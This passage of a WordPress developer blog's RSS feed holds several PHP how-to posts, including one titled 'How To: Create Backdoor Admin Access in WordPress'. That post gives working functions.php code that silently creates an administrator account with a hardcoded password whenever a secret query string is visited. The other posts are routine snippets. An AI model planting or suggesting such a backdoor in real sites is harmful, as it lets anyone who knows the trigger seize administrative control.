			<a href="http://www.google.com/buzz/post?url=http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=How+To%3A+Hide+an+Admin+Menu+in+WordPress+-+http://bit.ly/9lc1R2&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

<img src="http://www.strangework.com/?ak_action=api_record_view&id=908&type=feed" alt="" /><p>Related posts:<ol>
<li><a href='http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/' rel='bookmark' title='How To: Redirect A User After Logging Into WordPress'>How To: Redirect A User After Logging Into WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/' rel='bookmark' title='How To: Load User Info Using the Admin Email in WordPress'>How To: Load User Info Using the Admin Email in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/' rel='bookmark' title='How To: Remove Default Profile Fields in WordPress'>How To: Remove Default Profile Fields in WordPress</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>How To: Load User Info Using the Admin Email in WordPress</title>
		<link>http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/</link>
		<comments>http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 14:45:44 +0000</pubDate>
		<dc:creator>Brad</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[admin]]></category>
		<category><![CDATA[email]]></category>

		<guid isPermaLink="false">http://www.strangework.com/?p=896</guid>
		<description><![CDATA[Today&#8217;s handy WordPress code snippet is a simple way to retrieve user data based on the administrator email in WordPress. The email account I am referring to is the one listed under Settings > General and is the main admin email for your website. $admin_email = get_option('admin_email'); $admin_user_id = get_user_id_from_string($admin_email); $user_info = get_userdata($admin_user_id); The above [...]
Related posts:<ol>
<li><a href='http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/' rel='bookmark' title='How To: Create Backdoor Admin Access in WordPress'>How To: Create Backdoor Admin Access in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/' rel='bookmark' title='How To: Redirect A User After Logging Into WordPress'>How To: Redirect A User After Logging Into WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/' rel='bookmark' title='How To: Hide an Admin Menu in WordPress'>How To: Hide an Admin Menu in WordPress</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Today&#8217;s handy WordPress code snippet is a simple way to retrieve user data based on the administrator email in WordPress.  The email account I am referring to is the one listed under Settings > General and is the main admin email for your website.</p>
<pre class="brush: php;">
$admin_email = get_option('admin_email');
$admin_user_id = get_user_id_from_string($admin_email);
$user_info = get_userdata($admin_user_id);
</pre>
<p>The above code example first loads the admin email from the WordPress options.  Next it determines that user&#8217;s ID based off of their email address using the get_user_id_from_string() function.  Finally we use get_userdata() to load all user data for that user ID.</p>
<p>Currently the get_user_id_from_string() function is only available in WordPress MU.  I have confirmed however that this function does exist in WordPress 3.0.  That means after the merge this function will be available to all sites running WordPress.</p>
<p>We can also use the get_user_by_email() function included since WordPress 2.5 to accomplish the same task.  Thanks to Mo Jangda for pointing that out in the comments.  Below is an example using this method:</p>
<pre class="brush: php;">
$admin_email = get_option('admin_email');
$user_info = get_user_by_email($admin_email);
</pre>
<p>This is actually a more efficient method as we don&#8217;t need to call the function to retrieve the user ID first.  In the world of WordPress you learn something everyday.  Thanks Mo Jangda!</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-shr">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/&amp;title=How+To%3A+Load+User+Info+Using+the+Admin+Email+in+WordPress" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/&amp;title=How+To%3A+Load+User+Info+Using+the+Admin+Email+in+WordPress" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://reddit.com/submit?url=http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/&amp;title=How+To%3A+Load+User+Info+Using+the+Admin+Email+in+WordPress" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/&amp;title=How+To%3A+Load+User+Info+Using+the+Admin+Email+in+WordPress" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=How+To%3A+Load+User+Info+Using+the+Admin+Email+in+WordPress+-+http://bit.ly/9ACavz&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

<img src="http://www.strangework.com/?ak_action=api_record_view&id=896&type=feed" alt="" /><p>Related posts:<ol>
<li><a href='http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/' rel='bookmark' title='How To: Create Backdoor Admin Access in WordPress'>How To: Create Backdoor Admin Access in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/' rel='bookmark' title='How To: Redirect A User After Logging Into WordPress'>How To: Redirect A User After Logging Into WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/' rel='bookmark' title='How To: Hide an Admin Menu in WordPress'>How To: Hide an Admin Menu in WordPress</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>How To: Add a Post Thumbnail to an RSS Feed in WordPress</title>
		<link>http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/</link>
		<comments>http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 16:47:14 +0000</pubDate>
		<dc:creator>Brad</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[code]]></category>

		<guid isPermaLink="false">http://www.strangework.com/?p=843</guid>
		<description><![CDATA[Have you ever needed to add the WordPress post thumbnail to an existing RSS feed? The below code will add a new element named &#60;thumb&#62; to your RSS feed. This element will contain a link to the post thumbnail as set in WordPress: function ThumbRSS() { global $post; if ( has_post_thumbnail( $post-&#62;ID ) ) { [...]
Related posts:<ol>
<li><a href='http://www.strangework.com/2010/03/03/custom-post-type-ui-plugin-for-wordpress/' rel='bookmark' title='Custom Post Type UI Plugin for WordPress'>Custom Post Type UI Plugin for WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/' rel='bookmark' title='How To: Remove Default Profile Fields in WordPress'>How To: Remove Default Profile Fields in WordPress</a></li>
<li><a href='http://www.strangework.com/2008/04/01/how-to-update-friendfeed-using-asp/' rel='bookmark' title='How to: Update FriendFeed using ASP'>How to: Update FriendFeed using ASP</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Have you ever needed to add the WordPress post thumbnail to an existing RSS feed?  The below code will add a new element named &lt;thumb&gt; to your RSS feed.  This element will contain a link to the post thumbnail as set in WordPress:</p>
<pre class="brush: php;">
function ThumbRSS() {
	global $post;
	if ( has_post_thumbnail( $post-&gt;ID ) ) {
		$thumbpic = get_the_post_thumbnail( $post-&gt;ID, 'thumbnail' );
	}

	echo '&lt;thumb&gt;'.$thumbpic.'&lt;/thumb&gt;';
}

add_filter('rss_item', 'ThumbRSS');
</pre>
<p>Keep in mind using this technique will devalidate your RSS feed as the &lt;thumb&gt; element is not a part of the RSS specification.  An alternate approach is to attach the post thumbnail to the beginning of your post content in your RSS feed.  Below is an example using this method:  </p>
<pre class="brush: php;">
function ThumbRSS($content) {
   global $post;
   if ( has_post_thumbnail( $post-&gt;ID ) ){
       $content = '&lt;p&gt;' . get_the_post_thumbnail( $post-&gt;ID, 'thumbnail' ) . '&lt;/p&gt;' . $content;
   }
   return $content;
}

add_filter('the_excerpt_rss', 'ThumbRSS');
add_filter('the_content_feed', 'ThumbRSS');
</pre>
<p>Just drop either code example in your themes functions.php file for this to work.  Pretty easy huh?  Now you can easily include post thumbnails in your WordPress RSS feeds!</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-shr">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/&amp;title=How+To%3A+Add+a+Post+Thumbnail+to+an+RSS+Feed+in+WordPress" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/&amp;title=How+To%3A+Add+a+Post+Thumbnail+to+an+RSS+Feed+in+WordPress" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://reddit.com/submit?url=http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/&amp;title=How+To%3A+Add+a+Post+Thumbnail+to+an+RSS+Feed+in+WordPress" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/&amp;title=How+To%3A+Add+a+Post+Thumbnail+to+an+RSS+Feed+in+WordPress" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=How+To%3A+Add+a+Post+Thumbnail+to+an+RSS+Feed+in+WordPress+-+http://bit.ly/cQYET6&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

<img src="http://www.strangework.com/?ak_action=api_record_view&id=843&type=feed" alt="" /><p>Related posts:<ol>
<li><a href='http://www.strangework.com/2010/03/03/custom-post-type-ui-plugin-for-wordpress/' rel='bookmark' title='Custom Post Type UI Plugin for WordPress'>Custom Post Type UI Plugin for WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/30/how-to-remove-default-profile-fields-in-wordpress/' rel='bookmark' title='How To: Remove Default Profile Fields in WordPress'>How To: Remove Default Profile Fields in WordPress</a></li>
<li><a href='http://www.strangework.com/2008/04/01/how-to-update-friendfeed-using-asp/' rel='bookmark' title='How to: Update FriendFeed using ASP'>How to: Update FriendFeed using ASP</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>How To: Create Backdoor Admin Access in WordPress</title>
		<link>http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/</link>
		<comments>http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 19:49:45 +0000</pubDate>
		<dc:creator>Brad</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[admin]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[code]]></category>

		<guid isPermaLink="false">http://www.strangework.com/?p=723</guid>
		<description><![CDATA[Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server: &#60;?php add_action('wp_head', 'my_backdoor'); function my_backdoor() { If ($_GET['backdoor'] == 'go') { require('wp-includes/registration.php'); If (!username_exists('brad')) { $user_id [...]
Related posts:<ol>
<li><a href='http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/' rel='bookmark' title='How To: Load User Info Using the Admin Email in WordPress'>How To: Load User Info Using the Admin Email in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/' rel='bookmark' title='How To: Hide an Admin Menu in WordPress'>How To: Hide an Admin Menu in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/' rel='bookmark' title='How To: Redirect A User After Logging Into WordPress'>How To: Redirect A User After Logging Into WordPress</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress?  The below code snippet does just that!  Simply place the code in your themes functions.php flie and upload to your web server:</p>
<pre class="brush: php;">
&lt;?php
add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user-&gt;set_role('administrator');
		}
	}
}
?&gt;
</pre>
<p>To activate this code simply visit http://example.com?backdoor=go</p>
<p>When triggered the code will create a new administrator account with a username brad and password of pa55w0rd.  The function also verifies the user account doesn&#8217;t exist first before creating it.  </p>
<p>Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring.  Also don&#8217;t be evil, only use this code for good!</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-shr">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/&amp;title=How+To%3A+Create+Backdoor+Admin+Access+in+WordPress" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/&amp;title=How+To%3A+Create+Backdoor+Admin+Access+in+WordPress" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://reddit.com/submit?url=http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/&amp;title=How+To%3A+Create+Backdoor+Admin+Access+in+WordPress" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/&amp;title=How+To%3A+Create+Backdoor+Admin+Access+in+WordPress" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=How+To%3A+Create+Backdoor+Admin+Access+in+WordPress+-+http://bit.ly/brTWY7&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

<img src="http://www.strangework.com/?ak_action=api_record_view&id=723&type=feed" alt="" /><p>Related posts:<ol>
<li><a href='http://www.strangework.com/2010/03/09/how-to-load-user-info-using-the-admin-email-in-wordpress/' rel='bookmark' title='How To: Load User Info Using the Admin Email in WordPress'>How To: Load User Info Using the Admin Email in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/24/how-to-hide-an-admin-menu-in-wordpress/' rel='bookmark' title='How To: Hide an Admin Menu in WordPress'>How To: Hide an Admin Menu in WordPress</a></li>
<li><a href='http://www.strangework.com/2010/03/26/how-to-redirect-a-user-after-logging-into-wordpress/' rel='bookmark' title='How To: Redirect A User After Logging Into WordPress'>How To: Redirect A User After Logging Into WordPress</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.strangework.com/2009/12/29/how-to-create-backdoor-admin-access-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>From Microsoft to Linux&#8230;.almost</title>
		<link>http://www.strangework.com/2008/05/19/from-microsoft-to-linux-almost/</link>
		<comments>http://www.strangework.com/2008/05/19/from-microsoft-to-linux-almost/#comments</comments>
		<pubDate>Tue, 20 May 2008 00:48:57 +0000</pubDate>
		<dc:creator>Brad</dc:creator>
				<category><![CDATA[ASP/.NET]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WebDevStudios]]></category>

		<guid isPermaLink="false">http://www.strangework.com/?p=272</guid>
		<description><![CDATA[By StrangeWork.com: As most of you know I am in the process of starting my own Web Development Company in New Jersey. Starting a company takes a lot of work, but of course I knew this going into it. Business is great and we are starting to grow! I&#8217;ve decided to shift focus on my [...]
Related posts:<ol>
<li><a href='http://www.strangework.com/2007/11/14/no-zune-for-you-microsoft-drops-the-ball/' rel='bookmark' title='No Zune for You, Microsoft drops the ball!'>No Zune for You, Microsoft drops the ball!</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>By StrangeWork.com: As most of you know I am in the process of starting my own <a href="http://webdevstudios.com" title="Visit WebDevStudios.com">Web Development Company</a> in New Jersey.  Starting a company takes a lot of work, but of course I knew this going into it.  Business is great and we are starting to grow!  </p>
<p><a href='http://www.strangework.com/wp-content/uploads/2008/05/php-logo.png' rel='shadowbox[sbpost-272];player=img;'><img src="http://www.strangework.com/wp-content/uploads/2008/05/php-logo.png" alt="PHP Logo" title="php-logo" width="250" height="132" class="alignnone size-full wp-image-273" align="right" /></a>I&#8217;ve decided to shift focus on my technologies track a little.  I&#8217;ve always programmed with Microsoft technologies including classic ASP, ASP.NET, VB, SQL Server, etc.  I&#8217;ve been developing dynamic websites with classic ASP for almost 8 years now and I still love that language.  I use ASP.NET occasionally when the project calls for it, but I love scripting languages.  I&#8217;ve decided to focus my efforts on PHP rather than ASP.NET.</p>
<p>Scripting has always come natural to me, so why focus on a more object-oriented language?  Exactly, so from this point on I will be primarily developing in ASP and PHP.  The logic is the same as ASP, just different syntax so the switch won&#8217;t be too dramatic.</p>
<p>Expect to see some sweet PHP applications rolling out in the coming months!</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-shr">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.strangework.com/2008/05/19/from-microsoft-to-linux-almost/&amp;title=From+Microsoft+to+Linux....almost" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://www.strangework.com/2008/05/19/from-microsoft-to-linux-almost/&amp;title=From+Microsoft+to+Linux....almost" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://reddit.com/submit?url=http://www.strangework.com/2008/05/19/from-microsoft-to-linux-almost/&amp;title=From+Microsoft+to+Linux....almost" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://www.strangework.com/2008/05/19/from-microsoft-to-linux-almost/&amp;title=From+Microsoft+to+Linux....almost" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://www.strangework.com/2008/05/19/from-microsoft-to-linux-almost/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://www.strangework.com/2008/05/19/from-microsoft-to-linux-almost/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=From+Microsoft+to+Linux....almost+-+http://bit.ly/cAfbCv&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

<img src="http://www.strangework.com/?ak_action=api_record_view&id=272&type=feed" alt="" /><p>Related posts:<ol>
<li><a href='http://www.strangework.com/2007/11/14/no-zune-for-you-microsoft-drops-the-ball/' rel='bookmark' title='No Zune for You, Microsoft drops the ball!'>No Zune for You, Microsoft drops the ball!</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.strangework.com/2008/05/19/from-microsoft-to-linux-almost/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk (enhanced)

Served from: www.strangework.com @ 2012-02-11 09:23:23 -->
